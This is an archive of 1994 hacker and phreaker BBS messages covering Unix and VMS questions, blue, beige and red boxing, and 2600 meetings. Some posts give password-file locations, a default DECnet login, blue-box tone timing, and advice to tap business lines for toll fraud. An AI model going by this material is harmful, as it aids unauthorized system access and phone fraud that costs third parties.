Do realize if I wiped out every hard drive i had accesses to in my area i
would just be fucking my self over(besides the poor guy y that cant find
his thesis pape in his home directory). For example i've had access to a
local AIX system in my area for about 3 months,I have super user and all
and could wipe them out if i was a stupid lamer,but instead i do what
hackers originally starting out did. I LEAR. Thats right i pull out my
unix manuals and teach my self to program in shell,c and lisp. Why? you
ask. If you have to ask you dont understand the hacker ethic,and no matter
how many textfiles you read and how elite you think you are, you will
never understand why either.
OK,that was my little rant,OOps,I meant I LEARN ^ there. If you didnt
like this thats your opinion,you can rebut me but flaming me will just
make your self look stupid. Arguments are valid,flames are not.
Alright VM/CMS is probably the worst OS i have seen in a while. I like the
minidisks idea but i think Alpha Micro did a better job with AMOS. I'll
dig up which minidisk exactly its stored in but you usually cant access it
, in a past phrackthere was an article with evry IBM factory default for
VM/CMS machines. All the article does is give you logons,so even if you do
get in you wont know shit(unless,you RTFM)
Ok,I am no where near god like hacker status but i have been experimenting
with system 75 lately( i mean i've set up pbxs and the sort) but i would
be very intrested in talking about setting up a bridge with syetm 75 with
some one.
Tobias Knight
Cant wait to see the byte size on this one.
From binkley@yabbs Wed Feb 16 23:40:34 1994
From: binkley@yabbs
To: cosmos@yabbs
Subject: re: Vax/VMS
Date: Wed Feb 16 23:40:34 1994
Ahh yes... I want the Exact filename for the password/account file
Anybody else know?!?!?!
From uufnord@yabbs Thu Feb 17 03:43:52 1994
From: uufnord@yabbs
To: all@yabbs
Subject: hackin girlies
Date: Thu Feb 17 03:43:52 1994
There's this chic I know and she's runnin' BABE 2.0 for Windows, and I
REALLY wanna start messin' with he interface devices, ya know? But, I
think I need a shell script to get root, man, I need to get root, I'm
gonna have a spasm if I don't, need root, root root.
Ohhhh.. that feels much better now.
From Thorwak@yabbs Thu Feb 17 17:00:46 1994
From: Thorwak@yabbs
To: all@yabbs
Subject: finger script
Date: Thu Feb 17 17:00:46 1994
I made this script that contained about 100 lines in the format
finger <name> >> <filename>
and ran it in the background. Then I DL'd the file, only to discover
that several login names occured at 5-6 times in the output file.
I'm 100% sure that there was no user with more than one "finger entry" in
the script, so I really don't understand why this happened... Anyone got
any ideas?
(If this post is confusing it's cause I'm swedish, and don't knoe english
100%...)
Thorwak
From sevmek@yabbs Thu Feb 17 18:36:54 1994
From: sevmek@yabbs
To: arachnoi@yabbs
Subject: re: wuarchive
Date: Thu Feb 17 18:36:54 1994
wuarchive had a Very Bad disk crash recently due to an operating system bug,
that got all their data and most of their backups. They're restoring from
mirror sights and new uploads, but for now wuarchive isn't what it used to be,
and is overloaded with the reloading process.
From Fastjack@yabbs Thu Feb 17 18:41:34 1994
From: Fastjack@yabbs
To: ytrew@yabbs
Subject: re: Binghampton
Date: Thu Feb 17 18:41:34 1994
Yo...
Before ya start askin questions about the security, ya
gotta figure out whether there runnin SunOS 4.1.3 [BSD based]
or 5.x [AT&T SVR4 based]. Under 4.1.3, passwds are in
which you can't read. No one is allowed to log in as root,
only su to it. Auditing is enabled; options vary. That's
basically it....in 5.x, passwds are in /etc/shadow like
Sys V. There are a hell of a lot of PD things they could be
running which would make it a lot tougher, like
tcpwrappers, logging daemons, modified sendmail, ...
I'm not familiar with that site; telnet there or try the
SMTP port to figure the OS rev. number...
FJ
From Crusader@yabbs Thu Feb 17 22:16:32 1994
From: Crusader@yabbs
To: all@yabbs
Subject: C
Date: Thu Feb 17 22:16:32 1994
I'm curious, & this seems like as good a place as any. Where can I get
a Txt on programming in C, I have a Macintosh & a free compiler so why not
Thanx, I really aprecciate this (If anyone responds) I would prefer one
with mac specific examples if it's at all possible.
Oh yeah, as if you all care, Go Cosmos! Please don't allow people just
looking for cheap knowledge on how to make phree calls get away with
deystroying an artform.
Crusader
From binkley@yabbs Fri Feb 18 00:53:33 1994
From: binkley@yabbs
To: Crusader@yabbs
Subject: all
Date: Fri Feb 18 00:53:33 1994
BBS
Anybody know where I moight pick up a copy of a good BBS program?? I'd
really like to get LSD, or celerity, or even aftershok. Anybody help[ me?
From cosmos@yabbs Fri Feb 18 05:51:55 1994
From: cosmos@yabbs
To: uufnord@yabbs
Subject: re: hackin girlies
Date: Fri Feb 18 05:51:55 1994
Where do these fucking retards come from??
Cosmos
From ducky@yabbs Fri Feb 18 11:08:40 1994
From: ducky@yabbs
To: Thorwak@yabbs
Subject: re: finger script
Date: Fri Feb 18 11:08:40 1994
In message finger script, Thorwak said:
> I made this script that contained about 100 lines in the format
> finger <name> >> <filename>
> and ran it in the background. Then I DL'd the file, only to discover
> that several login names occured at 5-6 times in the output file.
> I'm 100% sure that there was no user with more than one "finger entry" in
> the script, so I really don't understand why this happened... Anyone got
> any ideas?
Some versions of finger return a full listing for a person for every tty that
they are logged in on. So, if a person was logged in a bunch of times (say
using screen or X), you'd get the full spew about them for each tty.
This is kinda braindead, and most modern fingers just list a single line for
each tty a person is on in a single entry for them.
-k
From Palisade@yabbs Fri Feb 18 11:40:10 1994
From: Palisade@yabbs
To: all@yabbs
Subject: newbie
Date: Fri Feb 18 11:40:10 1994
Uhh...I'm kinda new here. I am just learning how to hack and I don't szeem
to be able to find very much information. Does anyone know where I could
find any?
From McArthy@yabbs Fri Feb 18 14:53:24 1994
From: McArthy@yabbs
To: binkley@yabbs
Subject: re: all
Date: Fri Feb 18 14:53:24 1994
Aftershock... Hm, that's a bbs soft that I haven't heard about in a long
time. It was fairly popular in 602 for a while, (until all the sysops
started warring with each other). I cant point you to anywhere on the net
to get it, and most of the 602 boards stopped supporting it, but if I see
it lying around local somewhere I'll put it on ftp somewhere.
From McArthy@yabbs Fri Feb 18 14:58:55 1994
From: McArthy@yabbs
To: Palisade@yabbs
Subject: re: newbie
Date: Fri Feb 18 14:58:55 1994
The best way to find information is to read, do, and be patient. There's
no secret textfile of hacker knowlege... This isnt some sort of RPG...
Basically go through the messages and look at the questions... Think about
the questions... Think about why anyone would want to do what they are
asking about...(message 806 for example ) [B[B
Explore everything and take notes.... Familiarize yourself with the net,
and love doing it. Don't be demanding tangible results everyday. After
doing this for a while, one day youll stop to think, and realize you've
achieved what you've wanted.
From NJDEVIL@yabbs Fri Feb 18 18:06:48 1994
From: NJDEVIL@yabbs
To: arachnoi@yabbs
Subject: re: Trojan horse
Date: Fri Feb 18 18:06:48 1994
Thanx
NJD
From NJDEVIL@yabbs Fri Feb 18 18:15:33 1994
From: NJDEVIL@yabbs
To: arachnoi@yabbs
Subject: re: wuarchive
Date: Fri Feb 18 18:15:33 1994
I agree, am non-hack, but get tons of good stuff there.
From Fastjack@yabbs Fri Feb 18 18:33:55 1994
From: Fastjack@yabbs
To: ytrew@yabbs
Subject: re: Binghampton
Date: Fri Feb 18 18:33:55 1994
Just noticed that part of that last message was missing...
should be /etc/security/passwd.adjunct.
The editor cutt out because it started
with a slash....
From Thorwak@yabbs Fri Feb 18 21:15:21 1994
From: Thorwak@yabbs
To: ducky@yabbs
Subject: re: finger script
Date: Fri Feb 18 21:15:21 1994
I see.. This was not the case here, tho... First of all, none of them
where logged on, and second, there were others users BETWEEN thos entries
that repeated themselves... Real strange
Thorwak
From statix@yabbs Sat Feb 19 10:33:31 1994
From: statix@yabbs
To: Thorwak@yabbs
Subject: re: finger script
Date: Sat Feb 19 10:33:31 1994
Thorwak: a lot depends on how your version of finger parses the names
when it does comparisons against passwd entries, such as if you said:
finger fred3027
finger dan
It would turn up fred3027 (a username match) and possibly all people who's
first or last names began with fred, and then fingering on dan would turn
up a hit on a username of dan, or any first or last names beginning with
dan, so with these two finger you could possibly get results such as:
username: fred3027 In real life: Dan Frederick
username: hath2876 In real life: Fred Hathenberg
- *** results from finger fred3027 ***
username: fred3027 In real life: Dan Frederick
username: dan In real life: Theo Dan
username: litg4567 In real life: Danielle Litgo
If you want to just check on a specific username, most fingers support a
-m option to force username only matches, you may want to give that a try.
-statix
From Thorwak@yabbs Sat Feb 19 12:03:32 1994
From: Thorwak@yabbs
To: statix@yabbs
Subject: re: finger script
Date: Sat Feb 19 12:03:32 1994
Ok, I guess it was something like this that happened... I will try the -m
option and get back to you (if you're interested...) Thanx for your help!
Thorwak
From amadeus@yabbs Sat Feb 19 12:21:05 1994
From: amadeus@yabbs
To: Phain@yabbs
Subject: re: Pirate Radio?
Date: Sat Feb 19 12:21:05 1994
> On de FCC laws, is it either 5 mile radius, or 3 hours ? Could I
> broadcast for 8 hours with a one mile radius and the fedz not care?
don't do 8 hours man.....they'll shit. go for about 2 or 3 a week....that
would keep you out of trouble
From Justin@yabbs Sat Feb 19 15:45:49 1994
From: Justin@yabbs
To: all@yabbs
Subject: boxes
Date: Sat Feb 19 15:45:49 1994
Ok..Here's my question...
I've been diligently reading books on UNIX, and following the messages
on this conference. I'm begining to learn the basis to unix, and how the
internet operates. However, there is still one facet that I'm having
trouble understanding. The "boxes." I've read about the redboxes, but I
have a much greater interest than just finding quarter-tones. I've heard
of a bluebox and beigebox, but haven'y been able to find any information
on them. Would someone either be willing to shed a little light on this
for me, or at least tell me where it is that I should start looking?
Any help would be greatly appericiated. -Justin
From cosmos@yabbs Sat Feb 19 17:18:50 1994
From: cosmos@yabbs
To: Justin@yabbs
Subject: re: boxes
Date: Sat Feb 19 17:18:50 1994
All I have to say is that I wouldnt suggest trying to bluebox theses days.
Cosmos
From Schief@yabbs Sat Feb 19 19:10:02 1994
From: Schief@yabbs
To: McArthy@yabbs
Subject: re: all
Date: Sat Feb 19 19:10:02 1994
Ah...602 land....I remember the days of all the 3lyt3 d00ds who were a
local call away, running their WaReZ b0ardzz on Aftershock....
From Fastjack@yabbs Sat Feb 19 22:51:33 1994
From: Fastjack@yabbs
To: Justin@yabbs
Subject: re: boxes
Date: Sat Feb 19 22:51:33 1994
Read alt.2600.
Anything you don't understand you can get from philes....
FJ
From Angstrom@yabbs Sun Feb 20 20:59:15 1994
From: Angstrom@yabbs
To: Justin@yabbs
Subject: re: boxes
Date: Sun Feb 20 20:59:15 1994
...Basically the Blue Box emits a 2600hz tone (hence the zine 2600)
causing the line to go dead and giving you the power of an operator,
though nowadays telco monitors for that tone. There have been suggestions
of mixing pink noise with the original signal 3000, but it does not work.
The only way you can use a blue box today is use it where a line man has
just installed a new line or tested one cause that tone is still used for
testing...and that number can use a 2600 signal for about a month before
it is taken off the telco list. Beige boing is using someone elses line
through canning...and there is not musch risk as long as you only use that
line once or twice and the only person who gets screwed is "Ma Bell" as
the guy whose line you were using only has to pay $50 of the bill you rang
up...well hope this helps...
From oderous@yabbs Sun Feb 20 21:14:26 1994
From: oderous@yabbs
To: cosmos@yabbs
Subject: re: non-memory redbox
Date: Sun Feb 20 21:14:26 1994
i don't see why not - the redial dials at the same rate as a priority.
of course, i don't know if the rat shack models have re-dial buttons, but
i know it works on my ripped up phone.
From cosmos@yabbs Mon Feb 21 06:17:16 1994
From: cosmos@yabbs
To: Angstrom@yabbs
Subject: re: boxes
Date: Mon Feb 21 06:17:16 1994
Good short info. Anyways, I have to disagree with the "only MA bell gets
screwed" stuff. Sure, you run up a thousand dollar bill on a
teleconference and the poor chap has to pay 50 bucks. Shit, 50 bucks is
50 bucks. I would be PISSED if I got the short end of the shaft for some
geek high school punk who set up a telecon on my line.
Anyways, if you are gonna do it. Do it to a business line.
How about a local LD competitors lines? heheheheh
Cosmos
From feotus@yabbs Mon Feb 21 08:33:58 1994
From: feotus@yabbs
To: cosmos@yabbs
Subject: re: boxes
Date: Mon Feb 21 08:33:58 1994
hehee, try it from your favorite neighborhood business, like the little
processing plant down the road from me. OR, my favorite is to do it off
of some older COCOTs. I set one up that way with a policeman no more
than about fifty feet away harrasingthese kids. hehe, they were parked
wrong, and I was preparing to scam a major large bill off the telco 8).
Teleconferences are fun, but it always degenerates to a piss contest it
seems.
From cosmos@yabbs Mon Feb 21 11:23:29 1994
From: cosmos@yabbs
To: feotus@yabbs
Subject: re: boxes
Date: Mon Feb 21 11:23:29 1994
Heh, the last Telecon I was on was when Maniac and Trexor got busted for
tearing down a payphone. Sheesh. ANyways, you are right they always end
up lame.
Cosmos
From Cat@yabbs Mon Feb 21 13:55:12 1994
From: Cat@yabbs
To: cosmos@yabbs
Subject: You were right
Date: Mon Feb 21 13:55:12 1994
Wellup, I was bored, no one was on yabbs worth chatting with, so I thout I
pop in here and read tjhis stuff Cos. And you were right! :) Quite
imfamous aren't you? Hmmmmm I wonder....
From cosmos@yabbs Mon Feb 21 14:44:41 1994
From: cosmos@yabbs
To: Cat@yabbs
Subject: re: You were right
Date: Mon Feb 21 14:44:41 1994
Yes! Go Tam! Heheheh, bet you had a blast reading the comp stuff!
Normally I'd flame someone till hell froze over for posting off topic
messages but Ill cut you some slack this time...
Cosmos
From DrClaw@yabbs Tue Feb 22 02:03:25 1994
From: DrClaw@yabbs
To: all@yabbs
Subject: vax/vms password file
Date: Tue Feb 22 02:03:25 1994
for the one asking..the vax/vms password files exact names
is
sys$uaf.dat
usually found at sys$exe:[000000]
hasta
From GreyWolf@yabbs Tue Feb 22 21:07:18 1994
From: GreyWolf@yabbs
To: all@yabbs
Subject: Port No.s
Date: Tue Feb 22 21:07:18 1994
Greetings from the North Side. Ok, scenerio.. person of whom had
learned alot of stuff on his old dos clone. Person goes to College, gets
net access, and realizes there is alot more out there than just being
stuck calling local BBS's on a 2400 bd modem. My question.. STD port
numbers, what are some of them? The only one that I know for sure is the
mail port 25, and the handshake.. but I would also like to know.. what is
some of the handshakes for the others?
Thank you kindly for your time and effort:
GreyWolf
From htoaster@yabbs Tue Feb 22 23:03:41 1994
From: htoaster@yabbs
To: GreyWolf@yabbs
Subject: re: Port No.s
Date: Tue Feb 22 23:03:41 1994
look in /etc/services on any unix machine. it will have most of the ports
for that machine (anything started by inetd)... you can connect to
any of the ones marked as tcp ports with telnet...
alex
From binkley@yabbs Tue Feb 22 23:32:50 1994
From: binkley@yabbs
To: DrClaw@yabbs
Subject: re: vax/vms password file
Date: Tue Feb 22 23:32:50 1994
in reply to a message from Dr.Claw
>For the one asking..the vax.vms password files exact names
>is
>sys$uaf.dat
usually found at sys$exe:[000000]
hasta
Thank you Dr. Claw. How come no answer from you Cosmos... finally find
something you could't tell everybody to showboat yourself?!?!
From cosmos@yabbs Wed Feb 23 09:09:52 1994
From: cosmos@yabbs
To: binkley@yabbs
Subject: re: vax/vms password file
Date: Wed Feb 23 09:09:52 1994
Cosmos
From Dauber@yabbs Thu Feb 24 14:11:03 1994
From: Dauber@yabbs
To: Justin@yabbs
Subject: re: boxes
Date: Thu Feb 24 14:11:03 1994
Well, Justin, the bluebox is the phreaker's best friend, but
unfortunately, they are so easily and quickly detected...
It all started back in the '50's when a blind 8-year-old was screwing
around with 800 numbers on the phone, listening to the recordings. Well,
one day, he was habitually whistling while on the phone, and when one of
the recordings was playing, one of the tones he whistled shut off the
recording, so he tried experiementing with different tones, and eventually
people adapted his idea and invented the bluebox, which produces special
tones, blah blah blah.
Read more about it in the book _Outside The Inner Circle_..
From uufnord@yabbs Fri Feb 25 02:48:59 1994
From: uufnord@yabbs
To: al@yabbs
Subject: chugga chugga
Date: Fri Feb 25 02:48:59 1994
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jitter chugga, chugga chugga jitter jitter. Chugga jitter jitter jitter
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jitter chugga chuuga jitter. Jitter chugga chugga jitter jitter jitter
chugga. Chugga jitter jitter, chugga chugga jitter. Jitter! Chugga
chugga jitter chugga jitter chugga. Jitter chugga jitter chugga chugga
jitter jitter. Chugga chugga chugga chugga chugga chugga chugga.
Chugga Jitter
From cosmos@yabbs Fri Feb 25 05:22:38 1994
From: cosmos@yabbs
To: uufnord@yabbs
Subject: re: chugga chugga
Date: Fri Feb 25 05:22:38 1994
Chalk another lamer up in yabbs.
Cosmos
From GodEater@yabbs Sun Feb 27 17:30:42 1994
From: GodEater@yabbs
To: cosmos@yabbs
Subject: Blue Boxing
Date: Sun Feb 27 17:30:42 1994
Actually, it is still possible to blue box a number of different ways.
One method is to get an 800 country code number, and box off of that.
Another is to do it in an area such that you don't go through a ESS
station, though this requires more knowledge about the phone system than I
have. As a disclaimer, I have done neither of these, but I know people who
have, and still do.
God Eater
From Dauber@yabbs Mon Feb 28 13:58:57 1994
From: Dauber@yabbs
To: DrClaw@yabbs
Subject: re: vax/vms password file
Date: Mon Feb 28 13:58:57 1994
I wish it was that easy! ON our VMS system, the passwords are encrypted,
so if you lose/forget your password, they have to totally destroy your
original one because they can't find it!
You wanna see how VMS has no security? Just go to any VAX system and
log in as "decnet". The default password is "Decnet" and chances are your
system administrator didn't change it! I stumbled upon this in our
school's VAX....and got caught! Needless to say, they changed the
password--and FAST!
From Dauber@yabbs Mon Feb 28 14:01:22 1994
From: Dauber@yabbs
To: GodEater@yabbs
Subject: re: Blue Boxing
Date: Mon Feb 28 14:01:22 1994
I'm told that supposedlly a famous 800 number shuts down late at night and
gives you a pseudo-blue box....it may be 1-800-FLOWERS [Amlings] ...you
dial the number and supposedly get a second dial tone, and then dial
whereever you want...I've tried this, and it's a lot of BS...
From hawkwind@yabbs Mon Feb 28 14:51:27 1994
From: hawkwind@yabbs
To: GodEater@yabbs
Subject: re: Blue Boxing
Date: Mon Feb 28 14:51:27 1994
Yep..you can get an 800 country code and box off that ...its a bit more
complicated than the ole 2600HZ of yester year...there are different
freq's for different countries and the timing has to be more exact.
My question is this:
If you're going through an initial 5ESS exchange surely it will
detect you? -ie most of us are on 5ESS or equivently smart exchanges these
days
even over here in Europe... ;-(
I was reading a technical manual from Northern Telecom on Bluebox
detection on their DMS 100/200 exchange (I think thats right?) and it
was well scary...once it detected you...the software you were using
had the ability to disconnect the call, or bill you for the call placed
using the new MF tones (the blue box tones..)
[sorry, thats meant to bwe the software they were using (northern
Telecom)]
Any comments? Cosmos maybe?
L8rs,
Hawkwind.
From cosmos@yabbs Mon Feb 28 15:32:44 1994
From: cosmos@yabbs
To: hawkwind@yabbs
Subject: re: Blue Boxing
Date: Mon Feb 28 15:32:44 1994
Yep. You got it Hawk. The newer software can disconnect, trace, bill,
whatever to the idiot that is gonna bluebox. Sorry guys, I am not a
phreak person and I really dont get into the inner workings of Ma Bell.
Basically, less your super fucking good dont bother. Or go ahead and you
face Ma bell and her lawyers.
Cosmos
From sirius@yabbs Mon Feb 28 17:37:05 1994
From: sirius@yabbs
To: all@yabbs
Subject: multiplexor
Date: Mon Feb 28 17:37:05 1994
I found this strange sysytem a few days ago and I have no idea what it
means. WHen I log on it says something like AT&T DCC-2000 Multiplexor.
then doesn't prompt for an id or anything, just gives me a list of options
, soe being to change the alarms, and misc numbers which have no meaning
to me...
-siruius
From mips@yabbs Tue Mar 1 03:16:15 1994
From: mips@yabbs
To: hawkwind@yabbs
Subject: re: Blue Boxing
Date: Tue Mar 1 03:16:15 1994
Boxing International 800 numbers:
Forget all the different frequencies for different countries. U should use
2400/2600 to release the connection followed by a short pauseand then
seize a trunk using 2400. Keep in mind that timing is critical here !
Cherio
mips
From SamIam@yabbs Tue Mar 1 12:02:03 1994
From: SamIam@yabbs
To: hawkwind@yabbs
Subject: re: Blue Boxing
Date: Tue Mar 1 12:02:03 1994
Just don't try Sweeden, they have NASTY hardware on their AXes!
Anyway, good luck.
From CB@yabbs Tue Mar 1 16:24:13 1994
From: CB@yabbs
To: all@yabbs
Subject: Clipper info
Date: Tue Mar 1 16:24:13 1994
I seek some info on clipper. I have read some of the recent writeups in
CPSR and RISKS, even one in some net based telecom forum. I wish to see
some files or something that I can read to get a more firm grasp on what
exatly is going on. Is there anyone who can lead me to an ftp site where
I can get what this?
Brinx
From micke@yabbs Wed Mar 2 08:03:07 1994
From: micke@yabbs
To: SamIam@yabbs
Subject: AXE ,,,
Date: Wed Mar 2 08:03:07 1994
WOW first time ever i've heard sweden mentioned in
this (and other bbs'es) ... i guess it's part
because of AXE it seem to make life hard ....
is there anyone that have some kind of in fo on
AXE .. is it _possible_ by not to extreem means
to fool with it ?
From Morph@yabbs Sat Mar 5 09:54:08 1994
From: Morph@yabbs
To: all@yabbs
Subject: 2600
Date: Sat Mar 5 09:54:08 1994
Ahh...went to the 2600 meeting last night...god it was cool..
They all have *SO* much information...HaCkErs should rule the world....
btw, anyone have on OKI 900 for sale? programmed or umprogrammed....
From cosmos@yabbs Sun Mar 6 14:40:56 1994
From: cosmos@yabbs
To: Morph@yabbs
Subject: re: 2600
Date: Sun Mar 6 14:40:56 1994
This is what happens when one attensds 2600
This is your brain, this is your brain on 2600 highs.
Friends dont let friends do 2600 meets...
Cosmos
From Morph@yabbs Sun Mar 6 17:32:14 1994
From: Morph@yabbs
To: cosmos@yabbs
Subject: re: 2600
Date: Sun Mar 6 17:32:14 1994
Ok Ok...2600 high...
so shoot me...it was cool though...
From radiant@yabbs Sun Mar 6 17:45:52 1994
From: radiant@yabbs
To: Morph@yabbs
Subject: all
Date: Sun Mar 6 17:45:52 1994
Hehehe I would love an OKI-900 especially after reading the December Nuts
and Volts!!!! :)
From cosmos@yabbs Sun Mar 6 18:54:50 1994
From: cosmos@yabbs
To: Morph@yabbs
Subject: re: 2600
Date: Sun Mar 6 18:54:50 1994
heheh
I was at one okay 2600 meet once. But then the BBS junkies showed up and
it turned into the usual make me a redbox show me the cellular shit and
whos got da k0d3Z lamefest it usually is
Cosmos
From Morph@yabbs Sun Mar 6 20:09:19 1994
From: Morph@yabbs
To: radiant@yabbs
Subject: re: all
Date: Sun Mar 6 20:09:19 1994
Yeah...someone at the 2600, 2 ppl as a matter of fact, had them....
They werent programmed, but they can still be used as cellular
scanners...it's not worth $300 for a scanner though...
one guy had a cool redbox, bernie...instead of the usual spdt, it had a
mercury switch, when thee box was rightside up, it was a dialer
when it was upside down, it was a redbox,...
From JasonLee@yabbs Sun Mar 6 23:06:42 1994
From: JasonLee@yabbs
To: cosmos@yabbs
Subject: re: 2600
Date: Sun Mar 6 23:06:42 1994
Oh come on! What's so terrible about the 2600 meetings? From what I've
seen, not much real hacking or plotting or anything goes on, it's just
friends just hanging around.
JasonLee
From MetalGod@yabbs Mon Mar 7 01:26:50 1994
From: MetalGod@yabbs
To: JasonLee@yabbs
Subject: re: 2600
Date: Mon Mar 7 01:26:50 1994
Most of the people here (LA) who go to 2600 meetings are BBS junkies, and
if you know what the state of BBSing is like around here, you'd avoid 2600
meetings like the plague.. I know I do.
MetalGod (formerly BassGod)
From cosmos@yabbs Mon Mar 7 09:52:23 1994
From: cosmos@yabbs
To: Morph@yabbs
Subject: re: all
Date: Mon Mar 7 09:52:23 1994
Wow!!!!!
A dialer and a redbox!! |<-RaD 3l33t!
It's called a combo box and is made just as easy as the idiot red box with
out the dialer still in place. Yep, sounds like the same old 2600 to me.
Cosmos
From cosmos@yabbs Mon Mar 7 09:55:36 1994
From: cosmos@yabbs
To: JasonLee@yabbs
Subject: re: 2600
Date: Mon Mar 7 09:55:36 1994
Well, if hanging around high school BBS junkies and ignorant morons with a
coupole of red boxes is cool then go for it. SOme of us actually have
better things to do
Cosmos
/s
From JasonLee@yabbs Mon Mar 7 15:24:17 1994
From: JasonLee@yabbs
To: MetalGod@yabbs
Subject: re: 2600
Date: Mon Mar 7 15:24:17 1994
Yes, I understand very well. There were a couple BBS guys at the last DC
meeting I went to, and they just sat around, playing with some MFM HDs
they brought for no apparent reason. Damn, BBSes are annoying. At least,
hack ones are. There are some fun places where you can talk and stuff...
JasonLee
From JasonLee@yabbs Mon Mar 7 15:26:24 1994
From: JasonLee@yabbs
To: cosmos@yabbs
Subject: re: 2600
Date: Mon Mar 7 15:26:24 1994
No, what I'm saying is that if you have friends who will be there who you
rarely see (except through computer connections), then the meetings are
fun. Of course, none of us have friends who are BBS junkies or red box
freaks. Nope, not us. ;)
JasonLee
From RAgent@yabbs Tue Mar 8 07:10:29 1994
From: RAgent@yabbs
To: all@yabbs
Subject: Hacking
Date: Tue Mar 8 07:10:29 1994
Hey dudes,
I am probably the best hacker on the modern scene. I can do it all and I
aint got busted yet. YOu want RedBox?? I got it and I can make them for
you guys too. I know about IRC and MUCK/MUDS and I have a UniX account
that I hacked with a cool password hacker.
2600 is the coolest. COSMO go fudgepack a dog, I am too better than uyou
and you know it...2600 is for cool people like me not people like you.
Ive crashed systems everywhere and lot of BBS systems too.
RAgent
From Dauber@yabbs Tue Mar 8 09:13:37 1994
From: Dauber@yabbs
To: RAgent@yabbs
Subject: re: Hacking
Date: Tue Mar 8 09:13:37 1994
It is a general rule that anyone who brags about his/her hacking experiene
s should be classifeied a lamer...
Can't wait till the sysop sees your message!
If you're so good, why not try to crash this bbs?
From cosmos@yabbs Tue Mar 8 10:37:05 1994
From: cosmos@yabbs
To: RAgent@yabbs
Subject: re: Hacking
Date: Tue Mar 8 10:37:05 1994
This is a joke...right??
God I hope so...
I know the real RAgent jerkoff...nice try.
Cosmos
From 000@yabbs Tue Mar 8 11:59:58 1994
From: 000@yabbs
To: cosmos@yabbs
Subject: re: Hacking
Date: Tue Mar 8 11:59:58 1994
I'd tend to agree as anyone e who tends to brag about hacking, and
hasn't gotten caught yet is bound to very shortly.
000
From Morph@yabbs Tue Mar 8 16:40:12 1994
From: Morph@yabbs
To: cosmos@yabbs
Subject: re: all
Date: Tue Mar 8 16:40:12 1994
I know...i have a dialer and a red box, i just meant that the mercury
switch was cool....
From JasonLee@yabbs Tue Mar 8 19:11:12 1994
From: JasonLee@yabbs
To: RAgent@yabbs
Subject: re: Hacking
Date: Tue Mar 8 19:11:12 1994
That was cool! HAHAHAA!!!
I love sarcasm! That was sarcastic, wasn't it? It wasn't?
In that case:
HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA!!!!!!!!
Ah, hackers! Don't you love them?
JasonLee
From Kashmir@yabbs Thu Mar 10 00:24:40 1994
From: Kashmir@yabbs
To: Dauber@yabbs
Subject: re: Hacking
Date: Thu Mar 10 00:24:40 1994
No kiddin.. most people who say they're hackers most of the time aren't.
From Angstrom@yabbs Fri Mar 11 20:06:41 1994
From: Angstrom@yabbs
To: all@yabbs
Subject: bbs..
Date: Fri Mar 11 20:06:41 1994
Alright here's a board my friend just set up if anyone is interested
1-706-613-0750 this is a H/P only and the NUP is Willow...later
From Phain@yabbs Tue Mar 15 11:53:39 1994
From: Phain@yabbs
To: all@yabbs
Subject: Loud Hackers
Date: Tue Mar 15 11:53:39 1994
Funny thing,
From what I've seen those who brag about their abilities the most
have few true abilities to brag about. Hacking isn't about speaking loud
words, it's about doing deeds. Anyone who thinks loudmouthing on BBS's
is a really great idea needs to get a clue. Better yet, they need to
read _The Hacker Crackdown_ by Bruce Sterling. Those who can, do. Those
who can't value volume over action.
RAgent, get a life man. none of us give a flying f**k how loud you
can type. Say something useful or just keep your mouth shut.
-Phain
From uufnord@yabbs Tue Mar 15 14:36:07 1994
From: uufnord@yabbs
To: all@yabbs
Subject: my heroin addiction
Date: Tue Mar 15 14:36:07 1994
i'd just like to say that my heroin addiction has caused me to stop using
caps.
From Jeremiah@yabbs Tue Mar 15 16:15:17 1994
From: Jeremiah@yabbs
To: Phain@yabbs
Subject: re: Loud Hackers
Date: Tue Mar 15 16:15:17 1994
I agree, there have been some loadmouthed people here talking...
Actions speed louder than words children... Anyway, The Hacker Crackdown
was a great book... Do you know of any other good realing like that?
From panzer@yabbs Tue Mar 15 20:19:21 1994
From: panzer@yabbs
To: all@yabbs
Subject: BBS Advert
Date: Tue Mar 15 20:19:21 1994
As someone else has posted a BBS number, I thought I toss this out also.
I help run this system, and we are specializing in privacy for the users.
If you would like more information than either leave me mail here. Or the
preferred way, panzer@dhp.com.
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------------------------------------------------------------------------
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+1 412 683 8582
------------------------------------------------------------------------
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tools available on UNIX machines.
All Accounts FULLY LEGAL
We Specialize in Privacy of ALL Users
Contact Us For More Information About Our "Group" Accounts
Catering To All Kinds of Computer Hobbyists/Specialists
$25 USD for First Month -- $10 USD Each Additional Month
From Dprogram@yabbs Tue Mar 15 21:42:35 1994
From: Dprogram@yabbs
To: Jeremiah@yabbs
Subject: re: Loud Hackers
Date: Tue Mar 15 21:42:35 1994
I think it's obious that RAgent is a joke on the level of BIFF.
From JasonLee@yabbs Wed Mar 16 13:35:17 1994
From: JasonLee@yabbs
To: panzer@yabbs
Subject: re: BBS Advert
Date: Wed Mar 16 13:35:17 1994
That sounds like a nice place. I might have to get an account there once
I get out of school. What sort of modem access is there? Local lines
everywhere, or would I have to dial long-distance (from Maryland) to
connect?
JasonLee
From Destro@yabbs Wed Mar 16 23:44:11 1994
From: Destro@yabbs
To: RAgent@yabbs
Subject: re: Hacking
Date: Wed Mar 16 23:44:11 1994
Heh! I've personaly noticed that the more a person has to defend or
proclaim his/her abilities, in ANY field of endevour, he/she is blowing
hot air ... Cosmos may not be the ultimate hacker, I doubt that he/she is,
simply because of the stagering probabilities involved. But I know two
things: YOU are not God's gift to hackers 2) Cosmos knows what he/she is
talking about (notably, those who do, usually only talk when they do). Go
back to kydie skuul, cuz u ain't red-e 4 the real wurld ...
From Justin@yabbs Thu Mar 17 12:30:09 1994
From: Justin@yabbs
To: Angstrom@yabbs
Subject: re: bbs..
Date: Thu Mar 17 12:30:09 1994
Hmmm... That's North Georgia, I believe. My neck of the woods. Were is it
based in? I cosysoped one of the first big bbs' in North Georgia,
Cybernet. I was just curious, being that North Georgia's a pretty small
place. Take it easy....
Justin,
From Dprogram@yabbs Thu Mar 17 19:41:41 1994
From: Dprogram@yabbs
To: all@yabbs
Subject: red ...
Date: Thu Mar 17 19:41:41 1994
People kept telling me that if you used the 6.49 Mhz crystal on the
disgustingly infamous Rat Shack dialer, the frequencies "can't" be
blocked, becasu they are the correct frequencies. Then I learned that the
combo box doesn't produce a correct quarter anyway, but does five nickels!
That thing still fools ACTS, but it would never work on an operator, and
phreaks need to know this. I considered building a quarter-type red box,
but I've reconsidered. The combo box conversionn was supposed to be a
quick hack job to get you red boxing in a hurry, and it worked in this
respect. But my energy would be better spent making a good quality
recording from a real pay phone.
